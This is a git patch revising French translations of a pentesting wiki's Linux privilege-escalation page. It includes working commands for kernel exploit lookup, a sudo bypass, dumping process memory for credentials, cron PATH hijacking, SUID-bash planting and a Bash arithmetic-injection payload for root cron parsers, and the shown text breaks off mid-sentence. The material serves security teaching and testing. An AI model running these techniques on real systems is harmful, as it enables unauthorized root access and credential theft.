From 4c0dd253875357820f7c51272aaad87330f462ff Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 16:47:54 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a --- .../privilege-escalation/README.md | 517 +++++++++--------- .../pentesting-web/spring-actuators.md | 130 ++++- 2 files changed, 374 insertions(+), 273 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index d084a6bc0..c7f91c359 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## Informations système -### Infos OS +### Informations OS -Commençons par obtenir des informations sur l'OS en cours d'exécution +Commençons par recueillir des informations sur l'OS en cours d'exécution ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Si vous **avez des permissions d'écriture sur n'importe quel dossier dans la variable `PATH`**, vous pourriez être en mesure de hijack certaines bibliothèques ou binaires : +Si vous **avez des permissions d'écriture sur un dossier inclus dans la variable `PATH`**, vous pouvez être en mesure de détourner certaines bibliothèques ou binaires : ```bash echo $PATH ``` @@ -26,26 +26,26 @@ Des informations intéressantes, des mots de passe ou des clés API dans les var ``` ### Kernel exploits -Vérifiez la version du kernel et s'il existe un exploit pouvant être utilisé pour escalader les privilèges +Vérifiez la version du kernel et s'il existe un exploit pouvant être utilisé pour obtenir des privilèges élevés ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Vous pouvez trouver une bonne liste de noyaux vulnérables et quelques **compiled exploits** ici: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -D'autres sites où vous pouvez trouver quelques **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Vous pouvez trouver une bonne liste de kernel vulnérables et quelques **compiled exploits** ici: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Pour extraire toutes les versions de noyau vulnérables depuis ce site, vous pouvez faire : +Pour extraire toutes les versions de kernel vulnérables depuis ce site vous pouvez faire: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Outils qui peuvent aider à rechercher des kernel exploits sont : +Outils qui peuvent aider à rechercher des kernel exploits sont: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter IN victim, vérifie seulement les exploits pour kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter SUR la victime, ne vérifie que les exploits pour kernel 2.x) -Recherchez toujours la **kernel version sur Google**, peut‑être que votre kernel version est mentionnée dans un kernel exploit et ainsi vous serez sûr que cet exploit est valide. +Cherchez toujours la version du kernel sur Google, peut‑être que votre version du kernel est mentionnée dans un kernel exploit et ainsi vous serez sûr que cet exploit est valide. ### CVE-2016-5195 (DirtyCow) @@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Version de Sudo +### Sudo version Basé sur les versions vulnérables de sudo qui apparaissent dans : ```bash @@ -69,11 +69,11 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` #### sudo < v1.28 -Par @sickrov +De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg : échec de la vérification de la signature +### Dmesg signature verification failed Consultez **smasher2 box of HTB** pour un **exemple** de la façon dont cette vuln pourrait être exploitée ```bash @@ -131,7 +131,7 @@ docker-security/ ## Disques -Vérifiez **what is mounted and unmounted**, où et pourquoi. Si quelque chose est unmounted vous pourriez essayer de le mount et vérifier s'il contient des informations privées +Vérifiez **ce qui est mounted et unmounted**, où et pourquoi. Si quelque chose est unmounted vous pouvez essayer de le mount et vérifier les informations privées ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,21 +144,21 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Vérifiez également si **un compilateur est installé**. C'est utile si vous devez utiliser un kernel exploit, car il est recommandé de le compiler sur la machine où vous allez l'exécuter (ou sur une machine similaire). +Vérifiez également si **un compilateur est installé**. Ceci est utile si vous devez utiliser un kernel exploit car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une similaire). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Logiciels vulnérables installés -Vérifiez la **version des paquets et services installés**. Il se peut qu'une ancienne version de Nagios (par exemple) puisse être exploitée pour obtenir une élévation de privilèges…\ +Vérifiez la **version des paquets et services installés**. Il se peut qu'une ancienne version de Nagios (par exemple) puisse être exploitée pour escalating privileges…\ Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Si vous avez un accès SSH à la machine, vous pouvez aussi utiliser **openVAS** pour vérifier les logiciels installés sur la machine qui sont obsolètes ou vulnérables. +Si vous avez un accès SSH à la machine, vous pouvez également utiliser **openVAS** pour vérifier les logiciels installés sur la machine et détecter s'ils sont obsolètes ou vulnérables. -> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront majoritairement inutiles, il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus_ +> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront en grande partie inutiles ; il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version d'un logiciel installé est vulnérable à des exploits connus_ ## Processus @@ -168,23 +168,23 @@ ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Vérifiez également vos privilèges sur les binaries des processus, peut‑être pouvez‑vous en écraser un. +Vérifiez toujours la présence éventuelle de [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** détecte ceux-ci en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ +Vérifiez également **vos privilèges sur les binaries des processus**, vous pourrez peut‑être en écraser un. ### Process monitoring -Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables exécutés fréquemment ou lorsque certaines conditions sont réunies. +Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables s'exécutant fréquemment ou lorsque certaines conditions sont réunies. ### Process memory -Certains services d'un serveur enregistrent **credentials in clear text inside the memory**.\ -Normalement vous aurez besoin de **root privileges** pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc cela est généralement plus utile lorsque vous êtes déjà root et que vous voulez découvrir d'autres credentials.\ -Cependant, rappelez‑vous que **en tant qu'utilisateur régulier vous pouvez lire la mémoire des processus que vous possédez**. +Certains services d'un serveur sauvegardent **credentials en clair dans la mémoire**.\ +Normalement vous aurez besoin de **root privileges** pour lire la mémoire de processus appartenant à d'autres utilisateurs, c'est pourquoi cela est généralement plus utile lorsque vous êtes déjà root et souhaitez découvrir d'autres credentials.\ +Cependant, souvenez‑vous qu'**en tant qu'utilisateur régulier vous pouvez lire la mémoire des processus que vous possédez**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Notez qu'aujourd'hui la plupart des machines **n'autorisent pas ptrace par défaut**, ce qui signifie que vous ne pouvez pas récupérer la mémoire d'autres processus appartenant à un utilisateur non privilégié. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Le fichier _**/proc/sys/kernel/yama/ptrace_scope**_ contrôle l'accessibilité de ptrace : > > - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. > - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. @@ -193,7 +193,7 @@ Cependant, rappelez‑vous que **en tant qu'utilisateur régulier vous pouvez li #### GDB -Si vous avez accès à la mémoire d'un service FTP (par exemple) vous pourriez récupérer le Heap et y rechercher ses credentials. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Pour un identifiant de processus donné, **maps montrent comment la mémoire est mappée dans l'espace d'adresses virtuel** de ce processus ; cela montre aussi les **permissions de chaque région mappée**. Le pseudo-fichier **mem** **expose la mémoire du processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions mémoire sont lisibles** et leurs offsets. Nous utilisons cette information pour **nous positionner dans le fichier mem et extraire toutes les régions lisibles** dans un fichier. +Pour un ID de processus donné, **maps indique comment la mémoire est mappée dans l'espace d'adresses virtuel de ce processus** ; il indique également les **permissions de chaque région mappée**. Le fichier pseudo **mem** **expose la mémoire du processus lui-même**. À partir du fichier **maps**, nous savons quelles **régions mémoire sont lisibles** et leurs offsets. Nous utilisons ces informations pour **nous positionner dans le fichier mem et extraire toutes les régions lisibles** vers un fichier. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fournit l'accès à la mémoire **physique** du système, pas à la mémoire virtuelle. L'espace d'adressage virtuel du kernel est accessible via /dev/kmem.\ -Typiquement, `/dev/mem` n'est lisible que par **root** et le groupe kmem. +`/dev/mem` fournit l'accès à la mémoire **physique** du système, pas à la mémoire virtuelle. L'espace d'adresses virtuelles du noyau peut être accédé en utilisant /dev/kmem.\ +Typiquement, `/dev/mem` n'est lisible que par **root** et le groupe **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump pour linux +### ProcDump pour Linux -ProcDump est une réinvention pour Linux de l'outil classique ProcDump de la suite Sysinternals pour Windows. Récupérez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump est une réinterprétation pour Linux de l'outil classique ProcDump de la suite Sysinternals pour Windows. Disponible sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,13 +266,13 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Outils -Pour dump la mémoire d'un processus, vous pouvez utiliser : +Pour dumper la mémoire d'un processus, vous pouvez utiliser : - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez retirer manuellement les exigences root et dump le processus qui vous appartient +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez manuellement supprimer les exigences root et dump le processus qui vous appartient - Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root est requis) -### Identifiants depuis la mémoire d'un processus +### Identifiants depuis la mémoire du processus #### Exemple manuel @@ -281,25 +281,25 @@ Si vous constatez que le processus authenticator est en cours d'exécution : ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Vous pouvez dump the process (voir les sections précédentes pour trouver différentes façons de dump the memory of a process) et rechercher des credentials dans la memory : +Vous pouvez dump le processus (voir les sections précédentes pour trouver différentes façons de dump la mémoire d'un processus) et rechercher des identifiants dans la mémoire : ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite les privilèges root pour fonctionner correctement. +L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement. | Fonctionnalité | Nom du processus | | ------------------------------------------------- | -------------------- | | Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (connexions FTP actives) | vsftpd | -| Apache2 (sessions d'authentification HTTP Basic actives) | apache2 | -| OpenSSH (sessions SSH actives - utilisation de sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Expressions régulières de recherche/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Regex de recherche/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,7 +313,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tâches planifiées / Cron jobs +## Scheduled/Cron jobs Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (wildcard vuln? pouvez-vous modifier des fichiers que root utilise? utiliser des symlinks? créer des fichiers spécifiques dans le répertoire que root utilise?). ```bash @@ -323,71 +323,94 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron path -Par exemple, dans _/etc/crontab_ vous pouvez trouver le PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Par exemple, dans _/etc/crontab_ vous pouvez trouver le PATH : _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Remarquez que l'utilisateur "user" a des droits d'écriture sur /home/user_) +(_Notez comment l'utilisateur "user" a des privilèges d'écriture sur /home/user_) -Si dans ce crontab l'utilisateur root tente d'exécuter une commande ou un script sans définir le path. Par exemple: _\* \* \* \* root overwrite.sh_\ - -Vous pouvez alors obtenir un shell root en utilisant: +Si, dans ce crontab, l'utilisateur root tente d'exécuter une commande ou un script sans définir le PATH. Par exemple: _\* \* \* \* root overwrite.sh_\ +Alors, vous pouvez obtenir un shell root en utilisant: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron utilisant un script avec un wildcard (Wildcard Injection) -Si un script exécuté par root contient un “**\***” dans une commande, vous pouvez l’exploiter pour faire des choses inattendues (comme privesc). Exemple : +Si un script exécuté par root contient un “**\***” dans une commande, vous pouvez exploiter cela pour provoquer des comportements inattendus (comme un privesc). Exemple: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` **Si le wildcard est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** -Lisez la page suivante pour plus d'astuces d'exploitation des wildcards: +Lisez la page suivante pour plus d'astuces d'exploitation de wildcard: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Écrasement de Cron script et symlink -Si vous **pouvez modifier un cron script** exécuté par root, vous pouvez obtenir un shell très facilement : +### Injection d'expansion arithmétique Bash dans les parsers de logs cron + +Bash effectue des expansions de paramètres et des substitutions de commandes avant l'évaluation arithmétique dans ((...)), $((...)) et let. Si un cron/parser exécuté en root lit des champs de log non fiables et les envoie dans un contexte arithmétique, un attaquant peut injecter une substitution de commande $(...) qui s'exécutera en root lorsque le cron tourne. + +- Pourquoi ça marche : Dans Bash, les expansions ont lieu dans cet ordre : expansion de paramètres/variables, substitution de commande, expansion arithmétique, puis découpage en mots et expansion des chemins. Donc une valeur comme `$(/bin/bash -c 'id > /tmp/pwn')0` est d'abord substituée (exécution de la commande), puis le `0` numérique restant est utilisé pour l'arithmétique, de sorte que le script continue sans erreur. + +- Typical vulnerable pattern: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Exploitation : Obtenez du texte contrôlé par l'attaquant écrit dans le log analysé de sorte que le champ ressemblant à un nombre contienne une substitution de commande et se termine par un chiffre. Assurez-vous que votre commande n'écrit pas sur stdout (ou redirigez-la) pour que l'arithmétique reste valide. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + +### Écrasement de script cron et symlink + +Si vous **pouvez modifier un script cron** exécuté par root, vous pouvez obtenir un shell très facilement: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si le script exécuté par root utilise un **répertoire auquel vous avez un accès complet**, il peut être utile de supprimer ce répertoire et de **créer un symlink vers un autre répertoire** pointant vers un script que vous contrôlez. +Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et de **créer un symlink folder vers un autre** servant un script contrôlé par vous ```bash ln -d -s ``` -### Tâches cron fréquentes +### Cron jobs fréquents -Vous pouvez surveiller les processus pour repérer ceux qui s'exécutent toutes les 1, 2 ou 5 minutes. Vous pourriez en tirer parti pour escalader les privilèges. +Vous pouvez surveiller les processus pour rechercher ceux qui s'exécutent toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en tirer parti et escalate privileges. -Par exemple, pour **surveiller toutes les 0.1s pendant 1 minute**, **trier par les commandes les moins exécutées** et supprimer les commandes qui ont été exécutées le plus souvent, vous pouvez exécuter : +Par exemple, pour **surveiller every 0.1s during 1 minute**, **trier par commandes les moins exécutées** et supprimer les commandes qui ont été le plus souvent exécutées, vous pouvez faire : ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Vous pouvez aussi utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (cela va surveiller et lister chaque processus qui démarre). +**Vous pouvez aussi utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (cela surveillera et listera chaque processus qui démarre). -### Tâches cron invisibles +### Cron jobs invisibles -Il est possible de créer un cronjob **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère retour chariot) : +Il est possible de créer un cronjob en **mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère retour chariot) : ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Services -### Fichiers _.service_ inscriptibles +### Fichiers _.service_ modifiables -Vérifiez si vous pouvez écrire un fichier `.service`, si c'est le cas, vous **pourriez le modifier** afin qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (il se peut que vous deviez attendre que la machine soit redémarrée).\ -Par exemple, créez votre backdoor à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`** +Vérifiez si vous pouvez écrire un fichier `.service`, si c'est le cas, vous **pouvez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut-être attendre que la machine soit rebootée).\ +Par exemple, créez votre backdoor dans le fichier .service avec **`ExecStart=/tmp/script.sh`** -### Binaires de services modifiables +### Binaires de service modifiables -Gardez à l'esprit que si vous avez des **permissions d'écriture sur les binaires exécutés par des services**, vous pouvez les modifier pour y placer des backdoors afin que lorsque les services seront relancés, les backdoors soient exécutés. +Gardez à l'esprit que si vous avez des **permissions d'écriture sur des binaires exécutés par des services**, vous pouvez les modifier pour y placer des backdoors afin que, lorsque les services seront réexécutés, les backdoors soient exécutées. ### systemd PATH - Chemins relatifs @@ -395,19 +418,19 @@ Vous pouvez voir le PATH utilisé par **systemd** avec: ```bash systemctl show-environment ``` -Si vous constatez que vous pouvez **write** dans l'un des dossiers du chemin, vous pourriez être en mesure de **escalate privileges**. Vous devez rechercher des **relative paths being used on service configurations** dans des fichiers comme : +Si vous constatez que vous pouvez **write** dans n'importe lequel des dossiers du chemin, vous pourriez être en mesure de **escalate privileges**. Il faut rechercher des **relative paths being used on service configurations** dans les fichiers de configuration des services, par exemple : ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Ensuite, créez un **executable** avec le **même nom que le relative path binary** à l'intérieur du dossier systemd PATH sur lequel vous pouvez écrire, et lorsque le service est demandé pour exécuter l'action vulnérable (**Start**, **Stop**, **Reload**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas start/stop les services, mais vérifiez si vous pouvez utiliser `sudo -l`). +Ensuite, créez un **exécutable** portant **le même nom que le binaire du chemin relatif** à l'intérieur du dossier du PATH de systemd que vous pouvez écrire, et lorsque le service est sollicité pour exécuter l'action vulnérable (**Start**, **Stop**, **Reload**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter des services mais vérifiez si vous pouvez utiliser `sudo -l`). -**En savoir plus sur les services avec `man systemd.service`.** +**Pour en savoir plus sur les services, consultez `man systemd.service`.** ## **Timers** -**Timers** sont des unit files systemd dont le nom se termine par `**.timer**` et qui contrôlent des fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés comme alternative à cron car ils ont un support intégré pour les calendar time events et les monotonic time events et peuvent s'exécuter de manière asynchrone. +**Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` et qui contrôlent des fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés en alternative à cron car ils offrent nativement la prise en charge des événements basés sur le calendrier et des événements monotoniques, et peuvent s'exécuter de façon asynchrone. Vous pouvez énumérer tous les timers avec: ```bash @@ -415,24 +438,24 @@ systemctl list-timers --all ``` ### Timers modifiables -Si vous pouvez modifier un timer, vous pouvez le faire exécuter une unité systemd.unit existante (par exemple un `.service` ou un `.target`). +Si vous pouvez modifier un timer, vous pouvez le faire exécuter des unités existantes de systemd.unit (comme une `.service` ou une `.target`) ```bash Unit=backdoor.service ``` -Dans la documentation vous pouvez lire ce qu'est Unit : +Dans la documentation, vous pouvez lire ce qu'est l'unité : -> L'unité à activer lorsque ce timer expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut correspond à un service ayant le même nom que l'unité timer, à l'exception du suffixe. (Voir ci‑dessus.) Il est recommandé que le nom de l'unité activée et le nom de l'unité timer soient identiques, à l'exception du suffixe. +> L'unité à activer lorsque ce timer expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut correspond à un service ayant le même nom que l'unité timer, à l'exception du suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité activée et le nom de l'unité timer soient identiques, à l'exception du suffixe. Par conséquent, pour abuser de cette permission, vous devrez : -- Trouver une unité systemd (comme une `.service`) qui **exécute un binaire modifiable** -- Trouver une unité systemd qui **exécute un chemin relatif** et sur laquelle vous disposez de **privilèges d'écriture** sur le **systemd PATH** (pour usurper cet exécutable) +- Trouver une unité systemd (comme une `.service`) qui est **exécutant un binaire modifiable en écriture** +- Trouver une unité systemd qui est **exécutant un chemin relatif** et sur laquelle vous avez **des privilèges en écriture** sur le **systemd PATH** (pour usurper cet exécutable) -En savoir plus sur les timers avec `man systemd.timer`. +**En savoir plus sur les timers avec `man systemd.timer`.** ### **Activation du timer** -Pour activer un timer vous avez besoin des privilèges root et devez exécuter : +Pour activer un timer, vous avez besoin des privilèges root et d'exécuter : ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -441,28 +464,28 @@ Notez que le **timer** est **activé** en créant un symlink vers celui-ci dans ## Sockets -Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la même machine ou entre machines dans des modèles client-serveur. Ils utilisent des fichiers de descripteurs Unix standard pour la communication inter-machines et sont configurés via des fichiers `.socket`. +Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la même machine ou des machines différentes dans des modèles client-serveur. Ils utilisent des fichiers descripteurs Unix standards pour la communication inter-ordinateurs et sont configurés via des fichiers `.socket`. -Sockets can be configured using `.socket` files. +Les sockets peuvent être configurés à l'aide de fichiers `.socket`. **En savoir plus sur les sockets avec `man systemd.socket`.** Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés : -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ces options diffèrent mais en résumé elles servent à **indiquer où la socket va écouter** (le chemin du fichier de socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.) -- `Accept`: Accepte un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seule la socket de connexion lui est transmise. Si **false**, toutes les sockets d'écoute sont **transmises à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les sockets datagram et les FIFO où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut false**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux daemons uniquement de façon compatible avec `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Acceptent une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFO d'écoute soient respectivement **créés** et liés. Le premier jeton de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus. -- `ExecStopPre`, `ExecStopPost`: Commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFO d'écoute soient respectivement **fermés** et supprimés. -- `Service`: Spécifie le nom de l'unité de **service** **à activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il prend par défaut le service portant le même nom que la socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options sont différentes mais servent globalement à **indiquer où le socket va écouter** (le chemin du fichier de socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.) +- `Accept` : Prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seul le socket de connexion lui est passé. Si **false**, tous les sockets d'écoute sont **passés à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les datagram sockets et les FIFOs où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut : false**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux daemons uniquement de manière compatible avec `Accept=no`. +- `ExecStartPre`, `ExecStartPost` : Prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient respectivement **créés** et liés. Le premier jeton de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus. +- `ExecStopPre`, `ExecStopPost` : **Commandes** supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient respectivement **fermés** et supprimés. +- `Service` : Spécifie le nom de l'unité de **service** **à activer** lors du **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il prend par défaut le service portant le 